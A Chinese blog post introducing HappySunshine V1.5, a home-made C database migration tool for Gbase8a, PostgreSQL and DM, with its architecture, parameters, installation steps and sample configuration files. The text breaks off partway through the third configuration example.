自制数据库迁移工具-C版-06-HappySunshineV1.5-(支持南大Gbase8a、PostgreSQL、达梦DM)

news2025/2/25 23:18:19

目录

一、环境信息

二、简述

三、架构图

四、升级点

五、支持功能

六、后续计划支持功能

七、安装包下载地址

八、配置参数介绍

九、安装步骤

1、用户创建

2、安装包解压

3、环境变量配置

4、环境变量生效

5、动态库链接检验

(1)HsManager 

(2)G8aExecutor 

(3)Pg2G8aExecutor 

(4)Pg2DmExecutor 

6、操作系统限制修改

(1)/etc/security/limits.conf

(2)验证

7、修改配置文件MigrationConfig.txt

(1)Gbase8a -> Gbase8a

(2)PostgreSql  -> Gbase8a

(3)PostgreSql  -> Dm

十、性能对比测试

1、性能测试对比表格

2、测试表结构

(1)Gbase8a

(2)DM

(3)PostgreSql

3、测试数据样式

4、HappySunshine测试截图

(1)PostgreSql -> Dm

(2)PostgreSql -> Gbase8a

(3)Gbase8a-> Gbase8a

5、Kettle测试截图

(1)PostgreSql -> Dm

(2)PostgreSql -> Gbase8a

(3)Gbase8a-> Gbase8a


最新版本工具文档链接:HappySunshine

一、环境信息

名称
CPUIntel(R) Core(TM) i5-1035G1 CPU @ 1.00GHz
操作系统CentOS Linux release 7.9.2009 (Core)
内存5G
逻辑核数6
HappySunshine版本V1.5
Kettle版本pdi-ce-9.5.0.1-261
Gbase8a版本8.6.2-R43.34.27468a27
Pg版本PostgreSQL 16.3
DM版本1          DM Database Server 64 V8
2          DB Version: 0x7000c
3          03134284194-20240703-234060-20108
4          Msg Version: 12
5          Gsu level(5) cnt: 0

二、简述

HappySunshine数据库迁移工具是由C语言编写的多进程多线程程序,支持多种数据库之间的高效数据同步,安装简便、简单配置即可使用,功能还在逐步完善中(其实是还在陆续补充新知识),有什么好的建议,大家可以在评论或私信告知。

三、架构图

69fb8c4716412dde87e34b76eadb2bb8.png

画图水平感觉还不错,给自己点个赞。

HappySunshine数据库迁移工具由一个管理者进程和N个执行者进程组成,每个执行进程由一个生产者线程和N个消费者线程组成。

1、管理者进程启动。

2、管理者进程读取配置文件参数。

3、管理者进程创建共享内存。

4、管理者进程拉起N个执行者进程。

5、管理者进程通过共享存储中的任务队列,将需要迁移的表放入队列中。

6、执行者进程创建线程池。

7、执行者进程开辟一个生产者线程,N个消费者线程。

8、生产者线程从共享存储中的任务队列拿取任务,查询需要迁移表的条数,来决定迁移方式:LOAD或INSERT。如果进程数大于1,任务中包含的表有一个整型主键,会自动拆分数据为N份(进程数)。

9、如果是LOAD,由生产者线程单独完成。

10、如果是INSERT,将读取的数据行指针打包,发给线程池中的任务队列。

11、消费者线程从线程池中的任务队列拿取任务。

12、消费者线程将任务包解开,将数据清洗,并放入自己的缓冲区中,清洗完再把INSERT命令发给Gbase8a。

13、消费者线程执行任务失败,将任务状态置为错误,待生产者线程发现任务失败后,终止任务下发给线程池队列,重新到共享存储中的任务队列拿取任务。

14、消费者线程执行任务成功,就继续执行。

15、管理者进程将任务发送完成之后,将任务结束标记放入共享存储中的任务队列中。

16、生产者线程从共享存储中的任务队列中拿到任务结束标记后。等待屏障,也就是等待消费者线程完成所拿到的任务。

17、执行者进程等待所有的消费者、生产者结束后,回收线程池资源,释放自身所占用资源,结束退出。

18、管理者进程等待所有执行者进程结束后,回收进程资源,释放自身所占用资源,结束退出。

四、升级点

序号名称备注
1PG到DM库级数据迁移INSERT方式迁移,表定义及其他暂不支持。
2PG到DM表级数据迁移INSERT方式迁移,表定义及其他暂不支持。
3修复库级迁移,PG为源端数据库时,只迁移主键表的BUG
4修复目标端数据库连接失败,导致子进程死等的BUG
5添加配置文件MigrationConfig.txt中参数值的有效性判断
6修复Gbase8a到8a数据迁移LOAD方式,数据包含NULL时,加载报错的BUG
7修复Gbase8a到8a数据迁移LOAD方式,数据包含大字段时,加载数据有误的BUG

五、支持功能

序号功能备注
1Gbase8a到8a数据迁移INSERT、LOAD方式迁移,表定义及其他暂不支持。
2PG到Gbase8a数据迁移INSERT方式迁移,表定义及其他暂不支持。
3PG到DM数据迁移INSERT方式迁移,表定义及其他暂不支持。
4多线程并发加载单表数据
5多进程并发加载单表数据源端库为PG,迁移表包含单一整型主键,进程数设置大于1时,支持此项。

六、后续计划支持功能

展望是挺多的,奈何时间不多呀。

序号功能备注
1支持目的端为PG通过libpq接口Copy。
2支持Oracle数据迁移通过OCI接口。
3支持达梦快速装载通过DM FLDR的C接口。
4支持信号处理
5支持License

七、安装包下载地址

GITHUB-HappySunshine-release版下载地址

八、配置参数介绍

序号参数备注
1[Tool]Tool标签头,下面只能写Tool相关参数。
2ProcessNums程序迁移时开的进程数。
3Level迁移级别。
1:表级迁移,SpecifiedTab生效。
2:库级迁移,MigrationDb、BlackList生效。
4OsInfoGbase8a -> Gbase8a LOAD使用。
工具所在操作系统IP;操作系统用户;操作系统用户密码;
长度同下方的数据库IP;数据库用户名;数据库用户密码;
5OneBatchNumsMigrationType为0、1、2的情况下,支持此参数,一个批次插入的数据条数。(INSERT方式)
6SwitchNumsMigrationType为0的情况下,支持此参数,此数以上使用LOAD,以下使用INSERT。
7MigrationType迁移类型,支持0、1、2。
0 : Gbase8a     -> Gbase8a
1 : PostgreSql  -> Gbase8a
2 : PostgreSql  -> Dm
8[Source] Source标签头,下面只能写Source相关参数。
9ConnInfo样例:'IP;数据库用户名;数据库用户密码;数据库名;数据库端口号;数据连接字符集;'
1、单个IP长度限制19,数据库IP地址。
2、单个用户名长度限制19,数据库用户名。
3、单个用户名密码长度限制29,数据库密码。
4、单个数据库名长度限制29,数据库名。
5、数据库端口。
6、长度限制9,数据库连接字符集,支持utf8和gbk,如果是达梦连接,需填写数字,对照表如下:
    (1)UTF8                            1
    (2)GBK                              2
    (3)BIG5                             3
    (4)ISO_8859_9                 4
    (5)EUC_JP                       5
    (6)EUC_KR                      6
    (7)KOI8R                          7
    (8)ISO_8859_1                 8
    (9)SQL_ASCII                  9
    (10)GB18030                   10
    (11)ISO_8859_11             11
10MigrationDb库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。
MigrationType为1的情况下,此为PG的模式名。
11BlackList库级迁移参数,支持128个表,黑名单,表名,长度限制参考Db。和MigrationDb一起使用可以。
12SpecifiedTab(1)MigrationType为0的情况下,表级迁移参数,格式:'源端查询字段;源端库名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'

(2)MigrationType为1的情况下,表级迁移参数,格式:'源端查询字段;源端模式名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'

(3)如果没有特定条件,可以不写,但必须有分隔符,举例如下:
';czg;testtab;;;zxj;NewTab;'
这样相当于testtab迁移到NewTab,没有任何特殊条件。
这个可以有多个标签,想迁移多少张表就写几个标签。
13[Target]Target标签头,下面只能写Target相关参数。
14ConnInfo参考Source的。
15MigrationDb参考Source的。

九、安装步骤

大家也可以参考Readme.txt内容。

1、用户创建

大家也可以不创建,这是为了不影响其他用户,还有安全性考虑。

[root@czg0 ~]# groupadd lzl -g 2024
[root@czg0 ~]# useradd  lzl -g 2024 -u 2024
[root@czg0 ~]# passwd   lzl

2、安装包解压

[lzl@czg0 ~]$ unzip HappySunshine_V1.5_X86_Centos7.9_Release_日期.zip

3、环境变量配置

[root@czg0 ~]# cat /home/lzl/.bashrc 
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=

# User specific aliases and functions

export HAPPY_SUNSHINE_HOME=/home/lzl/HappySunshine
export LD_LIBRARY_PATH=$HAPPY_SUNSHINE_HOME/Libs:$LD_LIBRARY_PATH

4、环境变量生效

[lzl@czg0 ~]$ source /home/lzl/.bashrc 

5、动态库链接检验

(1)HsManager 

[lzl@czg0 ~]$ ldd HappySunshine/Exec/HsManager 
        linux-vdso.so.1 =>  (0x00007ffc3a9fa000)
        libPublic.so => /home/lzl/HappySunshine/Libs/libPublic.so (0x00007f094f383000)
        libLog.so => /home/lzl/HappySunshine/Libs/libLog.so (0x00007f094f17e000)
        libSqQueue.so => /home/lzl/HappySunshine/Libs/libSqQueue.so (0x00007f094ef78000)
        libPthread.so => /home/lzl/HappySunshine/Libs/libPthread.so (0x00007f094ed6b000)
        libFileOperate.so => /home/lzl/HappySunshine/Libs/libFileOperate.so (0x00007f094eb65000)
        libDataConvertion.so => /home/lzl/HappySunshine/Libs/libDataConvertion.so (0x00007f094e960000)
        libProcess.so => /home/lzl/HappySunshine/Libs/libProcess.so (0x00007f094e757000)
        libGbase8aDb.so => /home/lzl/HappySunshine/Libs/libGbase8aDb.so (0x00007f094e550000)
        libgbase.so.16 => /home/lzl/HappySunshine/Libs/libgbase.so.16 (0x00007f094e090000)
        libHashTable.so => /home/lzl/HappySunshine/Libs/libHashTable.so (0x00007f094de8c000)
        libPgDb.so => /home/lzl/HappySunshine/Libs/libPgDb.so (0x00007f094dc83000)
        libpq.so.5 => /home/lzl/HappySunshine/Libs/libpq.so.5 (0x00007f094da2d000)
        libHsPublic.so => /home/lzl/HappySunshine/Libs/libHsPublic.so (0x00007f094d82a000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f094d45c000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f094d240000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007f094d03c000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f094cd3a000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f094f586000)

(2)G8aExecutor 

[lzl@czg0 ~]$ ldd HappySunshine/Exec/G8aExecutor 
        linux-vdso.so.1 =>  (0x00007ffecf9fd000)
        libPublic.so => /home/lzl/HappySunshine/Libs/libPublic.so (0x00007faca38b8000)
        libLog.so => /home/lzl/HappySunshine/Libs/libLog.so (0x00007faca36b3000)
        libSqQueue.so => /home/lzl/HappySunshine/Libs/libSqQueue.so (0x00007faca34ad000)
        libPthread.so => /home/lzl/HappySunshine/Libs/libPthread.so (0x00007faca32a0000)
        libFileOperate.so => /home/lzl/HappySunshine/Libs/libFileOperate.so (0x00007faca309a000)
        libDataConvertion.so => /home/lzl/HappySunshine/Libs/libDataConvertion.so (0x00007faca2e95000)
        libProcess.so => /home/lzl/HappySunshine/Libs/libProcess.so (0x00007faca2c8c000)
        libGbase8aDb.so => /home/lzl/HappySunshine/Libs/libGbase8aDb.so (0x00007faca2a85000)
        libgbase.so.16 => /home/lzl/HappySunshine/Libs/libgbase.so.16 (0x00007faca25c5000)
        libMyPool.so => /home/lzl/HappySunshine/Libs/libMyPool.so (0x00007faca23c2000)
        libHashTable.so => /home/lzl/HappySunshine/Libs/libHashTable.so (0x00007faca21be000)
        libHsPublic.so => /home/lzl/HappySunshine/Libs/libHsPublic.so (0x00007faca1fbb000)
        libc.so.6 => /lib64/libc.so.6 (0x00007faca1bed000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00007faca19d1000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007faca17cd000)
        libm.so.6 => /lib64/libm.so.6 (0x00007faca14cb000)
        /lib64/ld-linux-x86-64.so.2 (0x00007faca3abb000)

(3)Pg2G8aExecutor 

[lzl@czg0 ~]$ ldd HappySunshine/Exec/Pg2G8aExecutor 
        linux-vdso.so.1 =>  (0x00007ffdea9d0000)
        libPublic.so => /home/lzl/HappySunshine/Libs/libPublic.so (0x00007f2c7a38f000)
        libLog.so => /home/lzl/HappySunshine/Libs/libLog.so (0x00007f2c7a18a000)
        libSqQueue.so => /home/lzl/HappySunshine/Libs/libSqQueue.so (0x00007f2c79f84000)
        libPthread.so => /home/lzl/HappySunshine/Libs/libPthread.so (0x00007f2c79d77000)
        libFileOperate.so => /home/lzl/HappySunshine/Libs/libFileOperate.so (0x00007f2c79b71000)
        libDataConvertion.so => /home/lzl/HappySunshine/Libs/libDataConvertion.so (0x00007f2c7996c000)
        libProcess.so => /home/lzl/HappySunshine/Libs/libProcess.so (0x00007f2c79763000)
        libGbase8aDb.so => /home/lzl/HappySunshine/Libs/libGbase8aDb.so (0x00007f2c7955c000)
        libgbase.so.16 => /home/lzl/HappySunshine/Libs/libgbase.so.16 (0x00007f2c7909c000)
        libMyPool.so => /home/lzl/HappySunshine/Libs/libMyPool.so (0x00007f2c78e99000)
        libPgDb.so => /home/lzl/HappySunshine/Libs/libPgDb.so (0x00007f2c78c90000)
        libpq.so.5 => /home/lzl/HappySunshine/Libs/libpq.so.5 (0x00007f2c78a3a000)
        libHashTable.so => /home/lzl/HappySunshine/Libs/libHashTable.so (0x00007f2c78836000)
        libHsPublic.so => /home/lzl/HappySunshine/Libs/libHsPublic.so (0x00007f2c78633000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f2c78265000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f2c78049000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007f2c77e45000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f2c77b43000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2c7a592000)

(4)Pg2DmExecutor 

[lzl@czg0 ~]$ ldd HappySunshine/Exec/Pg2DmExecutor 
        linux-vdso.so.1 =>  (0x00007ffd4eb65000)
        libPublic.so => /home/lzl/HappySunshine/Libs/libPublic.so (0x00007f81c49f0000)
        libLog.so => /home/lzl/HappySunshine/Libs/libLog.so (0x00007f81c47eb000)
        libSqQueue.so => /home/lzl/HappySunshine/Libs/libSqQueue.so (0x00007f81c45e5000)
        libPthread.so => /home/lzl/HappySunshine/Libs/libPthread.so (0x00007f81c43d8000)
        libFileOperate.so => /home/lzl/HappySunshine/Libs/libFileOperate.so (0x00007f81c41d2000)
        libDataConvertion.so => /home/lzl/HappySunshine/Libs/libDataConvertion.so (0x00007f81c3fcd000)
        libProcess.so => /home/lzl/HappySunshine/Libs/libProcess.so (0x00007f81c3dc4000)
        libMyPool.so => /home/lzl/HappySunshine/Libs/libMyPool.so (0x00007f81c3bc1000)
        libLinkList.so => /home/lzl/HappySunshine/Libs/libLinkList.so (0x00007f81c39bd000)
        libPgDb.so => /home/lzl/HappySunshine/Libs/libPgDb.so (0x00007f81c37b4000)
        libpq.so.5 => /home/lzl/HappySunshine/Libs/libpq.so.5 (0x00007f81c355e000)
        libDmDb.so => /home/lzl/HappySunshine/Libs/libDmDb.so (0x00007f81c333f000)
        libdmdpi.so => /home/lzl/HappySunshine/Libs/libdmdpi.so (0x00007f81c2485000)
        libdmcpt.so => /home/lzl/HappySunshine/Libs/libdmcpt.so (0x00007f81c2252000)
        libdmlogmnr_client.so => /home/lzl/HappySunshine/Libs/libdmlogmnr_client.so (0x00007f81c0595000)
        libHashTable.so => /home/lzl/HappySunshine/Libs/libHashTable.so (0x00007f81c0391000)
        libHsPublic.so => /home/lzl/HappySunshine/Libs/libHsPublic.so (0x00007f81c018e000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f81bfdc0000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f81bfabe000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f81bf8a2000)
        librt.so.1 => /lib64/librt.so.1 (0x00007f81bf69a000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007f81bf496000)
        libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007f81bf18e000)
        libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007f81bef78000)
        libdmcfg.so => /home/lzl/HappySunshine/Libs/libdmcfg.so (0x00007f81beb1a000)
        libdmclientlex.so => /home/lzl/HappySunshine/Libs/libdmclientlex.so (0x00007f81be8e5000)
        libdmcomm.so => /home/lzl/HappySunshine/Libs/libdmcomm.so (0x00007f81be6b2000)
        libdmcvt.so => /home/lzl/HappySunshine/Libs/libdmcvt.so (0x00007f81bdf34000)
        libdmcpr.so => /home/lzl/HappySunshine/Libs/libdmcpr.so (0x00007f81bdd30000)
        libdmelog.so => /home/lzl/HappySunshine/Libs/libdmelog.so (0x00007f81bdac1000)
        libdmmsg.so => /home/lzl/HappySunshine/Libs/libdmmsg.so (0x00007f81bd8b1000)
        libdmcalc.so => /home/lzl/HappySunshine/Libs/libdmcalc.so (0x00007f81bd618000)
        libdmcyt.so => /home/lzl/HappySunshine/Libs/libdmcyt.so (0x00007f81bd3f3000)
        libdmos.so => /home/lzl/HappySunshine/Libs/libdmos.so (0x00007f81bd1be000)
        libdmutl.so => /home/lzl/HappySunshine/Libs/libdmutl.so (0x00007f81bcfa3000)
        libdmmem.so => /home/lzl/HappySunshine/Libs/libdmmem.so (0x00007f81bcd90000)
        libdmbtr.so => /home/lzl/HappySunshine/Libs/libdmbtr.so (0x00007f81bcb5c000)
        libdmtrx.so => /home/lzl/HappySunshine/Libs/libdmtrx.so (0x00007f81bc7b5000)
        libdmstrt.so => /home/lzl/HappySunshine/Libs/libdmstrt.so (0x00007f81bc5a6000)
        libdmknl.so => /home/lzl/HappySunshine/Libs/libdmknl.so (0x00007f81bc343000)
        libdmstg.so => /home/lzl/HappySunshine/Libs/libdmstg.so (0x00007f81bc0f4000)
        libdmblb.so => /home/lzl/HappySunshine/Libs/libdmblb.so (0x00007f81bbeb8000)
        libdmnsort.so => /home/lzl/HappySunshine/Libs/libdmnsort.so (0x00007f81bbb9b000)
        libdmllog.so => /home/lzl/HappySunshine/Libs/libdmllog.so (0x00007f81bb974000)
        libdmrs.so => /home/lzl/HappySunshine/Libs/libdmrs.so (0x00007f81bb76f000)
        libdmsys.so => /home/lzl/HappySunshine/Libs/libdmsys.so (0x00007f81bb568000)
        libdmrarch.so => /home/lzl/HappySunshine/Libs/libdmrarch.so (0x00007f81bb313000)
        libdmtrv.so => /home/lzl/HappySunshine/Libs/libdmtrv.so (0x00007f81bb0d9000)
        libdmtimer.so => /home/lzl/HappySunshine/Libs/libdmtimer.so (0x00007f81baed3000)
        libdmmout.so => /home/lzl/HappySunshine/Libs/libdmmout.so (0x00007f81babfe000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f81c4bf3000)
        libdmdcrm.so => /home/lzl/HappySunshine/Libs/libdmdcrm.so (0x00007f81ba9f1000)
        libdmshm.so => /home/lzl/HappySunshine/Libs/libdmshm.so (0x00007f81ba7ec000)
        libdmshmm.so => /home/lzl/HappySunshine/Libs/libdmshmm.so (0x00007f81ba5e6000)
        libdmckpt.so => /home/lzl/HappySunshine/Libs/libdmckpt.so (0x00007f81ba3ca000)
        libdmfil.so => /home/lzl/HappySunshine/Libs/libdmfil.so (0x00007f81ba1a5000)
        libdmdta.so => /home/lzl/HappySunshine/Libs/libdmdta.so (0x00007f81b9eb8000)
        libdmrlog.so => /home/lzl/HappySunshine/Libs/libdmrlog.so (0x00007f81b9bf8000)
        libdmmal.so => /home/lzl/HappySunshine/Libs/libdmmal.so (0x00007f81b99b8000)
        libdmuthr.so => /home/lzl/HappySunshine/Libs/libdmuthr.so (0x00007f81b97a5000)
        libdmtlog.so => /home/lzl/HappySunshine/Libs/libdmtlog.so (0x00007f81b959b000)
        libdmdct.so => /home/lzl/HappySunshine/Libs/libdmdct.so (0x00007f81b8edb000)
        libdmregex.so => /home/lzl/HappySunshine/Libs/libdmregex.so (0x00007f81b8cd4000)
        libdmtbl.so => /home/lzl/HappySunshine/Libs/libdmtbl.so (0x00007f81b8ace000)
        libdmhfs.so => /home/lzl/HappySunshine/Libs/libdmhfs.so (0x00007f81b8835000)
        libdmlic.so => /home/lzl/HappySunshine/Libs/libdmlic.so (0x00007f81b8629000)
        libdmlnk.so => /home/lzl/HappySunshine/Libs/libdmlnk.so (0x00007f81b83f8000)
        libdmredo.so => /home/lzl/HappySunshine/Libs/libdmredo.so (0x00007f81b8143000)
        libdmrtree.so => /home/lzl/HappySunshine/Libs/libdmrtree.so (0x00007f81b7f31000)
        libdmenet.so => /home/lzl/HappySunshine/Libs/libdmenet.so (0x00007f81b7d0b000)
        libdmxmal.so => /home/lzl/HappySunshine/Libs/libdmxmal.so (0x00007f81b7af1000)
        libdmsbtree.so => /home/lzl/HappySunshine/Libs/libdmsbtree.so (0x00007f81b78ed000)
        libdmbcast.so => /home/lzl/HappySunshine/Libs/libdmbcast.so (0x00007f81b766f000)
        libdmscp.so => /home/lzl/HappySunshine/Libs/libdmscp.so (0x00007f81b7457000)
        libdmjson.so => /home/lzl/HappySunshine/Libs/libdmjson.so (0x00007f81b722e000)
        libdmspatial.so => /home/lzl/HappySunshine/Libs/libdmspatial.so (0x00007f81b6f55000)
        libdmvtdskm.so => /home/lzl/HappySunshine/Libs/libdmvtdskm.so (0x00007f81b6d44000)
        libdmdcr.so => /home/lzl/HappySunshine/Libs/libdmdcr.so (0x00007f81b6b3c000)
        libdmasmapi.so => /home/lzl/HappySunshine/Libs/libdmasmapi.so (0x00007f81b6915000)
        libdmasmapim.so => /home/lzl/HappySunshine/Libs/libdmasmapim.so (0x00007f81b66c0000)
        libdmdfi.so => /home/lzl/HappySunshine/Libs/libdmdfi.so (0x00007f81b64aa000)
        libdmvtdsk.so => /home/lzl/HappySunshine/Libs/libdmvtdsk.so (0x00007f81b62a3000)
        libdmasm.so => /home/lzl/HappySunshine/Libs/libdmasm.so (0x00007f81b6074000)
        libdmasmm.so => /home/lzl/HappySunshine/Libs/libdmasmm.so (0x00007f81b5db8000)
        libdmdfs.so => /home/lzl/HappySunshine/Libs/libdmdfs.so (0x00007f81b5b92000)

如果有动态库没有找到,就要看看环境变量是否配置正确或是否生效。

如果是安装包中缺少动态库,可以留言告知。

6、操作系统限制修改

(1)/etc/security/limits.conf

添加如下内容

lzl soft nofile 1048576
lzl hard nofile 1048576
lzl soft nproc  131072
lzl hard nproc  131072
lzl soft stack  1048576
lzl hard stack  1048576
lzl soft core   unlimited
lzl hard core   unlimited

(2)验证

记得重登操作系统用户,再执行如下命令

[lzl@czg0 ~]$ ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 15593
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1048576
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 1048576
cpu time               (seconds, -t) unlimited
max user processes              (-u) 131072
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

7、修改配置文件MigrationConfig.txt

具体的内容我都在配置文件中写好,大家按照规则来就行。

(1)Gbase8a -> Gbase8a

//*代表不可以空
//单引号包围参数,分号分割参数项
//每行开头不可以有空格,不然会跳过此参数检查。
//SpecifiedTab参数可以有多个。
 
[Tool]                                                           //工具信息。

ProcessNums   : '1;'                                             //*程序迁移时开的进程数。

Level         : '1;'                                             //*迁移级别。
                                                                 //2:库级迁移,BlackList生效。
                                                                 //1:表级迁移,SpecifiedTab生效。
OsInfo        : '192.168.142.12;gbase;gbase;'                    //*Gbase8a -> Gbase8a LOAD使用。工具所在操作系统IP;操作系统用户;操作系统用户密码;长度同下方的数据库IP;数据库用户名;数据库用户密码;

OneBatchNums  : '50000;'                                         //*MigrationType为0、1、2的情况下,支持此参数,一个批次插入的数据条数。(INSERT方式)

SwitchNums    : '3000000;'                                       //*MigrationType为0的情况下,支持此参数,此数以上使用LOAD,以下使用INSERT。

MigrationType : '0;'                                             //*迁移类型,支持0、1、2。
                                                                 //0 : Gbase8a     -> Gbase8a
                                                                 //1 : PostgreSql  -> Gbase8a
                                                                 //2 : PostgreSql  -> Dm
                          
[Source]                                                         //源端信息。

ConnInfo      : '192.168.142.12;root;;czg;5258;utf8;'            //'IP;数据库用户名;数据库用户密码;数据库名;数据库端口号;数据连接字符集;'
                                                                 //*单个IP长度限制19,数据库IP地址。
                                                                 //*单个用户名长度限制12,数据库用户名。
                                                                 //*单个用户名密码长度限制29,数据库密码。
                                                                 //*单个数据库名长度限制29,数据库名。
                                                                 //*数据库端口。
                                                                 //*长度限制9,数据库连接字符集,支持utf8和gbk,如果是达梦连接,需填写数字,对照表如下:
                                                                 //(1)UTF8                            1
                                                                 //(2)GBK                             2
                                                                 //(3)BIG5                            3
                                                                 //(4)ISO_8859_9                      4
                                                                 //(5)EUC_JP                          5
                                                                 //(6)EUC_KR                          6
                                                                 //(7)KOI8R                           7
                                                                 //(8)ISO_8859_1                      8
                                                                 //(9)SQL_ASCII                       9
                                                                 //(10)GB18030                        10
                                                                 //(11)ISO_8859_11                    11

MigrationDb   : 'public;'                                        //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。
                                                                 //MigrationType为1的情况下,此为PG的模式名。

BlackList     : ''                                               //库级迁移参数,支持50个表,黑名单,表名,长度限制参考Db。和MigrationDb一起使用可以。        

#SpecifiedTab  : 'a,b,c;czg;testtab;;x,y,z;zxj;NewTab;'            
                                                                 //MigrationType为0的情况下,表级迁移参数,格式:'源端查询字段;源端库名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //MigrationType为1的情况下,表级迁移参数,格式:'源端查询字段;源端模式名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //如果没有特定条件,可以不写,但必须有分隔符,举例如下:
                                                                 //';czg;testtab;;;zxj;NewTab;'
                                                                 //这样相当于testtab迁移到NewTab,没有任何特殊条件。
                                                                 //这个可以有多个标签,想迁移多少张表就写几个标签。
#SpecifiedTab  : ';czg;testtab_copy;;;zxj;testtab_copy;'
#SpecifiedTab  : ';czg;czg;;;zxj;czg;'

#SpecifiedTab  : ';public;testtab;;;zxj;testtab;'
#SpecifiedTab  : ';public;students;;;zxj;students;'
#SpecifiedTab  : ';public;haha;;;zxj;haha;'

SpecifiedTab  : ';public;testtab;;;zxj;testtab;'

[Target]                                                         //目的端信息。

ConnInfo      : '192.168.142.12;czg;qwer1234;zxj;5258;utf8;'

MigrationDb   : 'zxj;'                                           //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。

(2)PostgreSql  -> Gbase8a

//*代表不可以空
//单引号包围参数,分号分割参数项
//每行开头不可以有空格,不然会跳过此参数检查。
//SpecifiedTab参数可以有多个。
 
[Tool]                                                           //工具信息。

ProcessNums   : '1;'                                             //*程序迁移时开的进程数。

Level         : '1;'                                             //*迁移级别。
                                                                 //2:库级迁移,BlackList生效。
                                                                 //1:表级迁移,SpecifiedTab生效。
OsInfo        : '192.168.142.12;gbase;gbase;'                    //*Gbase8a -> Gbase8a LOAD使用。工具所在操作系统IP;操作系统用户;操作系统用户密码;长度同下方的数据库IP;数据库用户名;数据库用户密码;

OneBatchNums  : '50000;'                                         //*MigrationType为0、1、2的情况下,支持此参数,一个批次插入的数据条数。(INSERT方式)

SwitchNums    : '3000000;'                                       //*MigrationType为0的情况下,支持此参数,此数以上使用LOAD,以下使用INSERT。

MigrationType : '1;'                                             //*迁移类型,支持0、1、2。
                                                                 //0 : Gbase8a     -> Gbase8a
                                                                 //1 : PostgreSql  -> Gbase8a
                                                                 //2 : PostgreSql  -> Dm
                          
[Source]                                                         //源端信息。

ConnInfo      : '192.168.142.12;postgres;postgres;czg;5432;utf8;' //'IP;数据库用户名;数据库用户密码;数据库名;数据库端口号;数据连接字符集;'
                                                                 //*单个IP长度限制19,数据库IP地址。
                                                                 //*单个用户名长度限制12,数据库用户名。
                                                                 //*单个用户名密码长度限制29,数据库密码。
                                                                 //*单个数据库名长度限制29,数据库名。
                                                                 //*数据库端口。
                                                                 //*长度限制9,数据库连接字符集,支持utf8和gbk,如果是达梦连接,需填写数字,对照表如下:
                                                                 //(1)UTF8                            1
                                                                 //(2)GBK                             2
                                                                 //(3)BIG5                            3
                                                                 //(4)ISO_8859_9                      4
                                                                 //(5)EUC_JP                          5
                                                                 //(6)EUC_KR                          6
                                                                 //(7)KOI8R                           7
                                                                 //(8)ISO_8859_1                      8
                                                                 //(9)SQL_ASCII                       9
                                                                 //(10)GB18030                        10
                                                                 //(11)ISO_8859_11                    11

MigrationDb   : 'public;'                                        //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。
                                                                 //MigrationType为1的情况下,此为PG的模式名。

BlackList     : ''                                               //库级迁移参数,支持50个表,黑名单,表名,长度限制参考Db。和MigrationDb一起使用可以。        

#SpecifiedTab  : 'a,b,c;czg;testtab;;x,y,z;zxj;NewTab;'            
                                                                 //MigrationType为0的情况下,表级迁移参数,格式:'源端查询字段;源端库名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //MigrationType为1的情况下,表级迁移参数,格式:'源端查询字段;源端模式名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //如果没有特定条件,可以不写,但必须有分隔符,举例如下:
                                                                 //';czg;testtab;;;zxj;NewTab;'
                                                                 //这样相当于testtab迁移到NewTab,没有任何特殊条件。
                                                                 //这个可以有多个标签,想迁移多少张表就写几个标签。
#SpecifiedTab  : ';czg;testtab_copy;;;zxj;testtab_copy;'
#SpecifiedTab  : ';czg;czg;;;zxj;czg;'

#SpecifiedTab  : ';public;testtab;;;zxj;testtab;'
#SpecifiedTab  : ';public;students;;;zxj;students;'
#SpecifiedTab  : ';public;haha;;;zxj;haha;'

SpecifiedTab  : ';public;testtab;;;zxj;testtab;'

[Target]                                                         //目的端信息。

ConnInfo      : '192.168.142.12;czg;qwer1234;zxj;5258;utf8;'

MigrationDb   : 'zxj;'                                           //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。

(3)PostgreSql  -> Dm

//*代表不可以空
//单引号包围参数,分号分割参数项
//每行开头不可以有空格,不然会跳过此参数检查。
//SpecifiedTab参数可以有多个。
 
[Tool]                                                           //工具信息。

ProcessNums   : '1;'                                             //*程序迁移时开的进程数。

Level         : '1;'                                             //*迁移级别。
                                                                 //2:库级迁移,BlackList生效。
                                                                 //1:表级迁移,SpecifiedTab生效。
